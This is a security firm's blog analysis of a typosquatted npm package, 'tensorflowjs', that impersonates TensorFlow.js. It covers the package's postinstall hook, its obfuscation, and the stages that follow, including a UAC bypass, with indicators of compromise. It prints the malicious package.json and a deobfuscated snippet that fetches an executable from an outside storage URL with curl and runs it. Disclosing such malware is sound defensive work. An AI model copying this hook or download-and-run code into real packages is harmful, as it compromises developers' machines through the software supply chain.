TensorFlow.js Typosquatting Attack: Malicious Package Targeting AI/ML Developers

SafeDep Team 7 min read

A sophisticated typosquatting attack targeting TensorFlow.js developers was discovered, distributing heavily obfuscated malware through automatic post install scripts. In this blog, we will explore the technical details of the malware and demonstrate its sophisticated evasion techniques.

TL;DR

A malicious npm package named [email protected] was discovered attempting to impersonate the legitimate @tensorflow/tfjs package. The package contains heavily obfuscated JavaScript malware that executes automatically during installation via a post install script called thanksinstall.js. The malware employs multiple layers of obfuscation including hex encoding, function name mangling, and character code substitution to evade detection. The package was published by a suspicious account [email protected].

In this blog post, we provide a comprehensive technical analysis of the malicious package, including its obfuscation techniques, behavioral patterns, and indicators of compromise. We also demonstrate how modern security tools can protect developers from such sophisticated supply chain attacks.

NOTE: The analysis is work in progress. We will update the blog post with more details as we continue to investigate the attack.

Timeline

The malicious package [email protected] was discovered by our automated analysis system. Subsequent analysis by our team confirmed the malicious intent.

Key Discovery Points

  • Package Name: tensorflowjs (impersonating @tensorflow/tfjs)
  • Version: 0.7.0
  • Publisher: graphite7199 with email [email protected]
  • Target: AI/ML developers installing TensorFlow.js packages
  • Attack Vector: Automatic execution via npm post install scripts, download and execute PE32+ executable, targeting Windows systems

What is the Impact?

Our analysis identified sophisticated malware delivered through heavily obfuscated JavaScript code in the thanksinstall.js file. The malware specifically targets Windows systems and includes multiple evasion techniques:

Technical Impact Analysis

ComponentSizePurpose
thanksinstall.js14,883 bytesPrimary malware payload with post install execution
index.js94,728 bytesDecoy message
package.json275 bytesContains malicious post-install hook
README.md5,743 bytesLikely copied from legitimate package for disguise

Obfuscation Techniques Detected

The malware employs multiple sophisticated obfuscation layers:

  1. Hex String Obfuscation: Critical functions and strings are encoded in hexadecimal
  2. Function Name Mangling: All variables use _0x prefixed random identifiers
  3. Character Code Substitution: Integer to string conversion with custom cipher
  4. Control Flow Obfuscation: Encrypted string decryption routines

How SafeDep can protect developers?

SafeDep open source tools especially vet and pmg can help protect developers from malicious packages and other open source software supply chain attacks. In this specific case, our automated systems flagged the package as suspicious due to multiple signals, including identifying the malicious code and intention in typosquatting packages.

For example, pmg will alert developers when trying to install the compromised package.

PMG Alert
~ alias npm="pmg --verbose npm"
~ npm install [email protected]
ℹ️ Resolving dependencies for 1 package(s) ...
ℹ️ Analyzing 1 dependencies for malware ...
🚨 Suspicious package(s) detected: 1
Package is likely malicious due to code obfuscation, arbitrary command execution
via `child_process.spawn`, and suspicious `postinstall` script.
Reference: https://platform.safedep.io/community/malysis/01K2EEBXJG6ZXTYAZ2CV90XY3C
Do you want to continue with the installation? (y/N)

Similarly, vet will alert users in CI/CD pipelines when trying to add any of the compromised package through a PR.

Technical Analysis

Our analysis was based on [email protected] with the following file structure:

package/
├── package.json (275 bytes)
├── index.js (94,728 bytes)
├── thanksinstall.js (14,883 bytes)
└── README.md (5,743 bytes)

The package.json reveals the malicious post-install hook:

{
"name": "tensorflowjs",
"version": "0.7.0",
"description": "Node.js moduIe for using TensorFIow graphs and modeIs",
"main": "index.js",
"scripts": {
"postinstall": "node thanksinstall.js"
},
"author": "グラファイト",
"license": "MIT"
}

Analyzing thanksinstall.js

The thanksinstall.js file contains the primary malware payload. While heavily obfuscated, our analysis identified several key components:

Obfuscation Structure

The file begins with a complex obfuscation function that uses hex-encoded strings and character code substitution:

thanksinstall.js
function _0x3910(_0x57ed37,_0x28d098){
var _0x671258=_0x4a23();
return _0x3910=function(_0x285c0e,_0x46f836){
_0x285c0e=_0x285c0e-(0x3*-0x4c+0x917+-0x2*0x3d9);
var _0x2e8565=_0x671258[_0x285c0e];
// ... complex deobfuscation routine
},_0x3910(_0x57ed37,_0x28d098);
}

Manual analysis reveals some of the interesting parts of the code:

Checks for Windows platform:

thanksinstall.js
if (_0x5bc963.platform() !== "win32") {
process.exit(0);
}

Downloads and executes 2nd stage payload:

thanksinstall.js
const _0x509b60 = _0x3e9485.join(_0x5bc963.tmpdir(), "installthanks.png");
const _0x20c1f1 = ['-L', "https://storage.googleapis.com/nainaraz/success.png", '-o', _0x509b60];
const _0x3e7657 = {
windowsHide: true
};
function _0x2ac5a0(_0x3ad262, _0x1d30ef, _0xaf41b6, _0x4b31fc, _0x548376) {
return _0x2935(_0x3ad262 - 0xa, _0x1d30ef);
}
const _0x2da3a9 = _0x1a6125("C:\\Windows\\System32\\curl.exe", _0x20c1f1, _0x3e7657);

This in turn executes the following command:

  • Downloads PE32+ executable from https://storage.googleapis.com/nainaraz/success.png
  • Downloads to %TEMP%\installthanks.png
  • Executes the downloaded executable using cmd.exec /c start <path to executable>
Downloading PE32+ executable
wget https://storage.googleapis.com/nainaraz/success.png
file success.png
success.png: PE32+ executable (GUI) x86-64, for MS Windows
sha256 success.png
SHA256 (success.png) = 863d274bbeb22ab969f742a06d89bdf0ababb99fdeb074a0fd9057f28b1ef257

Analyzing index.js

The index.js file contains additional obfuscated code that appears to serve as a decoy. It follows similar obfuscation patterns but includes what appears to be a legitimate console.log statement at the end:

index.js
console[_0x117039(_0x4d7185._0x2b9c21,-_0x4d7185._0x55ffff,
-_0x4d7185._0x579028,-_0x4d7185._0x4e2e46,-_0x4d7185._0xbfce91)](
// ... extremely long obfuscated string that when decoded appears to output:
// "Thanks for installing our package! Please report any issues on GitHub."

This appears to be an attempt to make the package seem legitimate by displaying a benign message while the real malware executes in the background.

Deobfuscated code reveals the following:

index.js
function _0x5447e2() {
console.log("“Movies that claim to recreate the past” are 90% fantasy filtered through modern eyes.\n\nPeriod dramas and historical films are full of lies.\nWhy? Because they're made by modern people for modern audiences.\nThat means they inevitably include modern moral values like:\n\nExample 1: Respect for Women\nIn many historical societies, women were treated like property.\nBut in today’s films, you get “strong independent heroines” or “warrior princesses” as a given.\nTruth is, a woman acting like that back then? She’d have been executed on the spot.\n\nExample 2: Value of Human Life\nIn historical wars, massacring prisoners was standard.\nYet in modern films, you hear lines like “Don’t kill them” or “Every life is precious.”\nThat’s not history—that’s modern humanism in costume.\n\nExample 3: Equality and Justice\nCaste systems, rigid social hierarchies, and slavery were the norm.\nStill, modern dramas will push “we're all equal” or “love that transcends class” as emotional highlights.\n\nWhy does this happen?\nSimple:\nIf you truly portrayed the past as it was, modern viewers would be disgusted.\nThey’d see every character as a vile, irredeemable piece of trash.\n\nUnless you inject modern morality, the characters become impossible to empathize with.\n\nSo what’s the result?\nWe’re not watching a “recreation.”\nWe’re watching a modern fantasy of an idealized past.\n\nReal history?\nIt was brutal, unfair, oppressive, and life was cheap.\nPortray it accurately, and even an R-rating wouldn’t be enough.\n\n ");
}
_0x5447e2();

Analyzing Stage2 Binary

The stage2 binary was downloaded from https://storage.googleapis.com/nainaraz/success.png by the thanksinstall.js file.

The 2nd stage binary is a PE32+ executable that is downloaded and executed by the thanksinstall.js file. We started by looking at some of the interesting strings in the binary.

Strings in the binary
C:\Users\kenken\Downloads\waruikoto\node_modules\speaker\build\Release\binding.pdb
C:\snapshot\waruikoto\node_modules\glob\dist\commonjs\index.js
Winnie the Pooh from China farted! oh no! Your computer has been infected with the covid 19! https://discord.gg/8WYA8z2xf4

Looking at strings(1), it was evident that the executable was created by bundling Javascript files with Node.js and a loader, likely created using vercel/pkg. Presence of bootstrap.js from vercel/pkg is a strong indicator for this.

Building a custom extractor for vercel/pkg is a bit tricky, but we were able to extract the Javascript files:

Extracted Javascript files
-rw-rw-rw- 1 dev wheel 56840015 13 Aug 00:06 \waruikoto\loader-uacbypass\cliui.png
-rw-rw-rw- 1 dev wheel 48305652 13 Aug 00:06 \waruikoto\loader-uacbypass\cliui2.png
-rw-rw-rw- 1 dev wheel 107520 13 Aug 00:06 \waruikoto\loader-uacbypass\coremodule.dll
-rw-rw-rw- 1 dev wheel 161144 13 Aug 00:06 \waruikoto\loader-uacbypass\index.js
-rw-rw-rw- 1 dev wheel 506 13 Aug 00:06 \waruikoto\loader-uacbypass\package.json
-rw-rw-rw- 1 dev wheel 108544 13 Aug 00:06 \waruikoto\loader-uacbypass\sigma2.exe

Looking at the file types

File types
\waruikoto\loader-uacbypass\cliui.png: PE32+ executable (GUI) x86-64, for MS Windows
\waruikoto\loader-uacbypass\cliui2.png: PE32+ executable (GUI) x86-64, for MS Windows
\waruikoto\loader-uacbypass\coremodule.dll: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
\waruikoto\loader-uacbypass\index.js: data
\waruikoto\loader-uacbypass\package.json: JSON data
\waruikoto\loader-uacbypass\sigma2.exe: PE32+ executable (console) x86-64, for MS Windows

The payload is a Node.js application with its own package.json containing:

package.json
{
"name": "logo",
"version": "1.0.0",
"bin": "index.js",
"pkg": {
"targets": [
"node16-win-x64"
],
"scripts": [
"index.js"
],
"assets": [
"cliui.png",
"cliui2.png",
"sigma2.exe",
"coremodule.dll"
]
},
"files": [
"index.js",
"cliui.png",
"cliui2.png",
"sigma2.exe",
"coremodule.dll"
],
"dependencies": {
"child_process": "^1.0.2"
},
"scripts": {
"start": "node index.js",
"build": "pkg ."
}
}

We found the string C:\Users\kenken\Downloads\QuickAssist_UAC_Bypass-main\QuickAssist_UAC_Bypass-main\x64\Release\QuickAssist_UAC_Bypass.pdb in sigma2.exe which indicates that the executable is a Windows UAC bypass tool, likely QuickAssist_UAC_Bypass.

The coremodule.dll is likely the payload executed through UAC bypass.

The embedded cliui.png and cliui2.png are in turn vercel/pkg packaged executables which in turn contains multiple executables.

  • \waruikoto\boot.bin
  • \waruikoto\coremodule.exe
  • \waruikoto\coremodule3.exe

The presence of the following file was unusual and interesting:

coremodule3.exe
$ file \\waruikoto\\boot.bin
\waruikoto\boot.bin: DOS/MBR boot sector
  • Another interesting indicator was URL to Discord server https://discord.gg/8WYA8z2xf4

Conclusion

The tensorflowjs typosquatting attack represents a sophisticated supply chain threat specifically targeting the AI/ML development community. By impersonating the popular TensorFlow.js library, attackers attempted to compromise developer environments through automatic execution of heavily obfuscated malware.

Tools like vet and pmg are built to protect developers against the risk of getting hacked due to malicious code from open sources. Irrespective of specific tools, we recommend all software development teams to adopt appropriate guardrails to protect against malicious open source packages at various stages in their SDLC.

Appendix

Indicators of Compromise (IOCs)

  • Package Name: [email protected]
  • Publisher: graphite7199
  • Email: [email protected]
  • SHA256 (thanksinstall.js): 10f9a1d620fa82e991977fcbb9ad20da3193f8a2f540bdfb80a37251bb290ae0
  • SHA256 (index.js): 6e7f9a3c65fb053f1f5aa0a152f8490ed4a019573b54acf6e3f7d91daba973b8

Other interesting strings in various embedded executables:

C:\Users\kenro\source\repos\

References

Protect Against Malicious Open Source Packages

Don't let supply chain attacks compromise your projects. SafeDep Vet helps you identify and prevent malicious packages before they enter your codebase.

Back to Blog

Related Posts

View All Posts »
Secure Vibe Coding with AI Agents

Secure Vibe Coding with AI Agents

AI coding agents make development faster but can inadvertently introduce security risks by suggesting unvetted packages. Learn how to use vet MCP server for adding security to your vibe coding adventures.